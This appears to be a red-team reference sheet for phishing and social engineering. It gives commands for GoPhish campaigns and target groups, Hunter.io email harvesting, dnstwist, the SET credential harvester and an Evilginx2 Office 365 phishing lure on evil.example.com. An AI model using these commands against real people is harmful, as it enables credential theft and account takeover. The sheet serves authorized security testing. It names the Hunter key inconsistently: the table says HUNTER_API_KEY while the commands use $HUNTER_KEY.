<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->

# API Reference — Social Engineering Pretexting

## GoPhish API

### Create Campaign
```bash
curl -X POST "https://localhost:3333/api/campaigns/" \
  -H "Authorization: Bearer $GOPHISH_KEY" \
  -H "Content-Type: application/json" \
  -d @campaign.json
```

### Get Results
```bash
curl -s "https://localhost:3333/api/campaigns/$CAMPAIGN_ID/results" \
  -H "Authorization: Bearer $GOPHISH_KEY"
```

### List Templates
```bash
curl -s "https://localhost:3333/api/templates/" -H "Authorization: Bearer $GOPHISH_KEY"
```

### Create Group
```bash
curl -X POST "https://localhost:3333/api/groups/" \
  -H "Authorization: Bearer $GOPHISH_KEY" \
  -d '{"name":"targets","targets":[{"email":"user@target.com","first_name":"John","last_name":"Smith"}]}'
```

## Hunter.io

### Domain Search
```bash
curl -s "https://api.hunter.io/v2/domain-search?domain=example.com&api_key=$HUNTER_KEY"
```

### Email Verification
```bash
curl -s "https://api.hunter.io/v2/email-verifier?email=user@example.com&api_key=$HUNTER_KEY"
```

## dnstwist

### Typosquatting Check
```bash
dnstwist example.com --registered --format json
```

### With MX Check
```bash
dnstwist example.com --registered --mxcheck --format json
```

## Social Engineering Toolkit (SET)

### Launch
```bash
sudo setoolkit
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
```

## Evilginx2

### Start
```bash
evilginx2 -p ./phishlets/ -t ./redirectors/
```

### Commands
```
phishlets hostname office365 evil.example.com
phishlets enable office365
lures create office365
lures get-url 0
```

## Environment Variables

| Variable | Description |
|----------|-------------|
| `GOPHISH_KEY` | GoPhish API key |
| `HUNTER_API_KEY` | Hunter.io API key |
